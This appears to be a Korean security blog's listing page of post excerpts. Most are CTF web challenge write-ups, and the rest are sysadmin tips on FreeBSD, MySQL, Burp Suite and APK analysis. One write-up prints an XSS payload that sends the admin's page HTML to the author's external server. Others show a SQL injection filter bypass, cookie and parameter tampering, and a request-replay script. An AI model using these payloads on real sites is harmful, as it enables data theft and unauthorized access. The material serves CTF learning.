The GNU C library dynamic linker expands $ORIGIN in setuid library search path이 글은 위 취약점을 확인해보는 과정에서 알게된 내용으로 구성되어 있습니다. (연관성이 많이 없을수도...) 현재 접속한 계정 확인$ whoami; id 먼저 hello.c 파일을 아래와 같이 작성하여 컴파일hello.c:123456789101112131415#include #include int main(){ char buf[4096]; readlink("/proc/self/exe", buf, sizeof(buf)); printf("----------[hello]----------\n"); printf("getuid(): %d\n", getuid()); printf..
- 프로세스 정보 확인FreeBSD에서 기본적으로 /proc 에서 프로세스에 대한 정보를 확인할 수가 없다. mount 해보면 procfs가 없는 것을 볼 수 있다. # mount -t procfs proc /procmount 해주고 난 다음 다시 확인해보면 동작하는 것을 확인할 수 있다. 다시 /proc 에서 프로세스에 대한 정보를 확인해보면 프로세스에 대한 정보를 확인할 수 있다. - 파일 시스템 테이블에 추가하기# vi /etc/fstab proc /proc procfs rw 0 0 를 추가해주면 시스템을 시작할 때마다 자동으로 procfs를 mount 시켜준다.
CentOS 6.5에서 MySQL을 설치하면 5.1.73 버전이 설치가 되는데, 특정 버전을 사용하고자 할 때 아래와 같은 방법으로 설치할 수 있다. CentOS 6.5에서 MySQL 5.5.45 버전 설치해보기 (해당 방법은 플랫폼마다 패키지 관리 방법이 다르기 때문에 조금 차이가 있다.)1. MySQL Community Server (Archived Versions) 해당 사이트에서 다운로드 받을 버전과 플랫폼을 선택한다. 2. wget을 이용해서 해당 파일(MySQL-5.5.45-1.linux2.6.x86_64.rpm-bundle.tar)을 다운로드한다. 3. 다운로드 받은 tar 파일을 풀어준다. 4. 다운로드 받은 파일을 풀어보면 여러 rpm을 확인할 수 있다. 5. 설치 및 업그레이드 # rp..
- ITD 문제 서버가 닫혀있어서 찾아보니 소스를 공개해놓은 것이 있어서 개인 서버에 구축하였다.http://rnd.do9.kr:8080/글이 포스팅되어있는 사이트를 볼 수 있다. 위에 ImTooDeep 글을 눌러보면 해당 글의 전문을 확인할 수 있다.URL에 보면 /?p=ImTooDeep 형태로 데이터를 가져오는 것을 볼 수 있고, 실제로 http://rnd.do9.kr:8080/posts/ImTooDeep로 직접 접근해보면 해당 글의 내용만 나오는 것을 볼 수 있다. http://rnd.do9.kr:8080/posts/ImTooDeep 직접 접근 File Inclusion에 취약할 것이라고 생각하고 /posts/index.php 파일을 호출해보면 PHP 코드가 일부 깨져서 나오는 것을 확인할 수 있다..
FreeBSD 11을 Raspberry Pi 2에 설치하고 설정 및 업데이트하는 데 시간이 많이 소요가 된다.따라서, 설정을 마치고 나서 백업을 해두면 조금 더 편하게 초기 상태로 되돌릴 수 있다.방법은 FreeBSD 11을 설치할 때와 비슷하며 dd 명령어를 이용하여 반대로 해주면 된다. SD Card 삽입 후 확인$ diskutil list Disk unmount$ diskutil unmountDisk disk2 Backup$ sudo dd if=/dev/disk2 of=FreeBSD-20150901.img bs=1m conv=sync 복원은 설치와 동일한 방법으로 백업한 파일을 이용하면 된다.
- Sequence Hunt http://136.243.194.36:18888 send them as GET parameters here 를 선택하면 아래 페이지로 이동되고 인자가 없다는 메시지를 볼 수 있다. val0 파라미터 인자를 만들어주고 다시 접근해보면 val1 인자가 없다는 메시지를 확인할 수 있고 동일하게 인자를 만들어서 접근해준다. 인자를 다 만들어주고 나면 접속한 사용자의 IP 주소와 함께 값이 틀렸다는 메시지를 확인할 수 있다. 다시 메인 페이지로 돌아가서 get some info about you here 를 선택하면 아래 페이지로 이동되고 요청한 횟수를 확인할 수 있다. 그리고, Someone sent me this 를 선택해보면 Timing attack(https://en.wiki..
- Kummerkasten this site를 눌러보면 아래 사이트로 이동한다.해당 사이트는 관리자에게 메시지를 보낼 수 있는 기능이 있는 사이트이다. 간단하게 메시지를 전송 전송 결과로는 의미있는 정보를 얻기가 힘들다. Your Message 부분에 스크립트를 삽입하여 해당 메시지를 받아보는 관리자가 보는 페이지를 개인 서버 쪽으로 전송하도록 처리하였다.123456789$.ajax({ type: "POST", url: "http://14.36.23.78:1337/pwn", data: { 'data':document.documentElement.outerHTML }});Colored by Color Scriptercs 서버 쪽에서는 전송된 내용을 받아서 처리할 수 있도록 파이썬으로 아래 코드를 실행해놓은..
- TinyHosting 문제 서버가 닫혀있어서 캐쉬를 긁어모아서 개인 서버에 비슷하게 구축하였다.http://rnd.do9.kr/tiny/ 소스를 보면 주석으로 처리된 값을 확인할 수 있다. 주석으로 처리된 값을 파라미터로 전송하게 되면 index.php 소스 코드를 볼 수 있다. index.php12345678910111213141516171819202122232425262728293031323334353637383940 TinyHosting Filename: Content: Create! Colored by Color Scriptercs 소스 코드를 보면 REMOTE_ADDR 값과 HTTP_USER_AGENT 값을 더한 다음 SHA1으로 암호화한 값을 디렉터리 경로로 해서 index.html 파일이..
SHELL의 영어 단어 뜻을 찾아보면 "(달걀, 견과류 등의 딱딱한) 껍데기, 고둥 껍데기 모양의 것, 포탄" 이라는 뜻을 가지고 있다.즉, 무언가를 감싸고 있는 것을 뜻하는 단어이다. 컴퓨터에서 자주 쓰이는 SHELL도 비슷한 의미이다. 운영체제, 즉 커널을 감싸고 있는 것이 바로 SHELL이라고 생각하면 된다. 그래서 운영체제와 대화를 하기 위해선 SHELL을 통해야한다.이러한 SHELL이 하는 역할은 단순히 껍데기가 아니라 사용자가 입력한 명령어를 해석해서 운영체제가 이해할 수 있도록 지시해주고, 운영체제는 받은 지시 사항을 하드웨어가 이해할 수 있도록 번역하여 지시를 하게 된다.이렇다보니 SHELL의 종류도 다양하게 발전되어 왔다. 그 중에 대표적인 SHELL 몇 가지를 나열하면 다음과 같다. B..
윈도우에서 파이썬을 원활하게 사용하기 위해서 환경 변수에 등록해준다. 시스템 변수에서 Path를 선택해서 편집한다. 변수 값에 ;C:\Python27 를 추가해준다. (경로는 시스템 및 버전에 따라 다를 수 있음) 명령 프롬프트 창을 실행시켜서 python을 입력해보면 정상적으로 실행이 되는 것을 볼 수 있다. easy_install을 설치하기 위해서 https://pypi.python.org/pypi/setuptools/1.0#windows 사이트로 이동하면 ez_setup.py 파일과 설명을 볼 수 있다. ez_setup.py 파일을 다운로드한다. 다운로드 받은 파일을 빌드 시작 빌드가 끝나면 설치 시작 설치를 끝내고 난 다음, Scripts 폴더가 생성된 것을 확인하고 해당 경로도 시스템 변수 Pa..
- MonkeyBase http://136.243.194.35/ 문제에서 주어진 Invite key 값을 이용해서 등록 등록한 계정으로 로그인하면 아래 그림과 같이 온라인 채팅 사이트에 접속할 수 있다. ONLINE USERS에 있는 계정을 선택하면 URL에 ?id=1 파라미터가 추가되면서 채팅을 할 수 있다. Hello 입력 결과 톱니바퀴 모양 버튼을 눌러보면 Settings, Help, Logout 기능을 볼 수 있다.다른 기능을 알아보기 위해서 Help를 선택 HELP를 누르면 BBCODES 라는 것에 대한 설명이 나와있다. BBCODES 중에서 [URL]URL[/URL]을 이용해서 [URL]http://rnd.do9.kr/[/URL]을 테스트로 입력하였다. [URL]http://rnd.do9.kr..
맥에서는 Chrome 설정을 참고 해주세요.운영체제에 따라 등록하는 방법이 조금 다르지만, 크게 보면 http://burp 사이트에서 인증서를 받아서 설치하는 방법과 Burp Suite 프로그램에서 인증서를 받아서 설치하는 방법에 차이만 있을 뿐 두 방법 중 편한 방법으로 하면 됩니다. IE에서 Burp Suite를 이용해서 HTTPS가 적용된 사이트에 접근할 경우 아래 그림과 같이 보안 인증서에 문제가 있다는 내용을 볼 수 있다. Chrome가 다르게 IE에서는 "이 웹 사이트를 계속 탐색합니다(권장하지 않음)."을 선택하여 무시하고 접근을 할 수 있다. 인증서 문제를 해결하기 위해서 IE창을 닫은 다음, "관리자 권한으로 실행"으로 실행한다. http://burp/ 사이트에 접근하여 "CA Certi..
- forth nc 또는 putty 같은 것을 이용해서 IP는 136.243.194.49, 포트는 1024로 접속하게 되면 yForth 라는 서버에 접속을 할 수 있다. forth에 대해서 찾아보면 아래와 같이 프로그래밍 언어라는 것을 검색을 통해서 알 수 있다."Forth is an imperative stack-based computer programming language" 간단하게 계산을 해보면 특징을 알 수 있다.1 + 1 = 23 + 7 - 1 = 9위와 같은 연산을 forth 언어로 처리해보면 아래와 같다. 1 1 + .1) 1을 스택에 넣는다.2) 1을 스택에 넣는다.3) 스택에서 두 값을 꺼내서 더하기(+)를 한 값(2)을 다시 넣는다.4) 스택에 있는 값을 출력한다. 3 7 + 1 - ..
게시판이 하나 있다. 문제 파악을 위해서 Hint를 읽어본다.그리고 README를 읽어본다. README를 읽으려고 하면 비밀글에 대한 암호를 물어보면서 Query 구조를 보여준다. "=" 기호를 사용할 경우 아래와 같이 "NO! hacking!"이 발생한다. "=" 대신 쓸 수 있는 것 중에서 LIKE가 있다. 간단하게 "or nidx like '3"을 입력해서 우회하여 비밀글에 접근한다. 비밀글 접근에 성공하여 축하한다는 메시지와 함께 auth_key를 알려준다. 하지만, 곧바로 "접근권한이 없습니다!" 라는 메시지가 발생하면서 비밀글을 읽을 수가 없다. 접근 권한이 없다고 하였기 때문에 권한을 확인하는 부분 중에 하나인 쿠키를 살펴보면 auth%5Fkey 라는 것이 보이고 값으로 %3F%3F%3F%..
개발자 도구를 이용해서 코드를 보면 중간에 와 같이 난독화된 코드가 있고 Hint에는 12342046413275659 값이 나와있다. 난독화된 코드:eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('g l=m o(\'0\',\'1\',\'2\',\'3\',\'4\',\'5\',\'6\',\'7\..
User-Agent, Point가 표시되어 있다. Plus를 누르면 Point가 1씩 증가하는 것을 볼 수 있다. 개발자 도구를 이용해서 코드를 보면 가 있다. 12345678910111213141516171819202122232425262728293031323334#!/usr/bin/python# -*- coding: utf-8 -*-# do9dark import httplibimport sys sys.stdout.write('[-]Try: ')for i in range(0,50): sys.stdout.write(str(i+1)+' ') host = 'suninatas.com' url = '/Part_one/web04/web04_ck.asp' message = 'total='+str(i+1) conn ..
Notice 게시판에 글을 쓰면 된다. NOTICE 게시판에 글을 쓰고 싶지만 Write 기능을 찾을 수가 없다. FREE 게시판에 Write 기능을 이용한다. Free 게시판에 Write를 눌러보면 URL 경로에 /board/write.asp?page=1&divi=Free 라고 되어 있는 부분을 볼 수 있다. divi= 값을 Free 대신에 notice를 변경해주면 Notice 게시판에 Write로 이동할 수 있다. 간단하게 제목과 내용을 적고 Submit을 누르면 Authkey를 알 수 있다.
ID와 PW를 입력해서 가입하는 문제이다. 개발자 도구를 이용해서 코드를 보면 javascript로 id와 pw가 같을 경우 "You can't join! Try again"이라는 메시지와 함께 가입이 안되는 것을 볼 수 있다.그리고 하단에 Hint: Join / id = pw 라고 되어있는 것을 통해 id와 pw를 동일하게 해서 가입을 하면 풀 수 있다는 것을 알 수 있다. 49번 줄에 id와 pw를 비교하는 부분에 Breakpoint를 설정하고 ID와 PW를 입력해서 가입을 시도한다. 비교하는 부분에서 Console에 id="do9"를 입력해서 우회(Step into next function call을 선택)를 한 다음 전송하기 전에 다시 id="do9dark"로 변경해서 id와 pw를 동일하게 해서..
입력값(str)이 중간에 연산을 거쳐서 결과값(result)이 "admin"이 되면 Authkey가 보이는 문제이다. Replace 함수에 의해 "a"는 "aad"로 바뀌기 때문에 "admin"에서 "d"를 제외하고, "i"는 "in"으로 바뀌기 때문에 "amin"에서 "n"을 제외한 "ami"를 입력하면 쉽게 풀 수 있다."ami" > "aadmi" > "aadmin" 이 만들어지고 Mid 함수에 의해서 result1은 Mid(result,2,2) 이기 때문에 2번째에서 2글자인 "ad"가 되고, result2는 Mid(result,4,6) 이기 때문에 4번째에서 6글자인 "min"가 된다. 그리고 result1과 result2를 붙이면 "admin"이 된다.
APK 파일은 zip 알고리즘의 압축파일 형태이므로 압축 유틸리티를 이용하여 풀 수 있다. - APK 파일 구성 assets: 패키지가 가지고 있는 외부 리소스 res: 패키지가 가지고 있는 내부 리소스 META-INF: 프로그램 정보 데이터로 인증서에 서명한 내용 classes.dex: 클래스들의 정보를 가지고 있는 파일 resources.arsc: 별도로 컴파일된 리소스 AndroidManifest.xml: 안드로이드 어플리케이션에 대한 정보 (권한 정보) Dalvik Decompile - DEX (Dalvik EXecutable) 자바 클래스 파일이 Dalvik 형태로 변환된 파일으로 프로그램의 실제 코드를 포함하고 있다. dex2jar를 이용해서 dex 포맷을 jar 포맷으로 변환할 수 있다. (..
명령어 설명 if-eq x, y, target x == y 인 경우, target으로 이동 (x, y 값은 정수) if-ne x, y, target x != y 인 경우, target으로 이동 (x, y 값은 정수) if-lt x, y, target x = y 인 경우, target으로 이동 (x, y 값은 정수) if-eqz x, target x == 0 인 경우, target으로 이동 (x 값은 정수) if-nez x, target x != 0 인 경우, target으로 이동 (x 값은 정수) if-ltz..
Burp Suite는 Proxy를 이용하여 HTTP Request/Response를 분석 및 수정할 수 있는 도구이다. Burp Suite > Proxy > Intercept 기능을 이용할 때, Forward / Drop / Intercept is on|off / Action 버튼을 사용해서 처리를 한다. 이 때, 단축키를 사용하면 훨씬 더 빠르게 처리할 수 있다. Forward: Ctrl + f (Mac: Command + f) Drop: Ctrl + d (Mac: Command + d) Intercept is on|off: Ctrl + t (Mac: Command + t) toggle key 처럼 사용 그 외에도 자주 쓰는 단축키 Intruder: Ctrl + i (Mac: Command + i) R..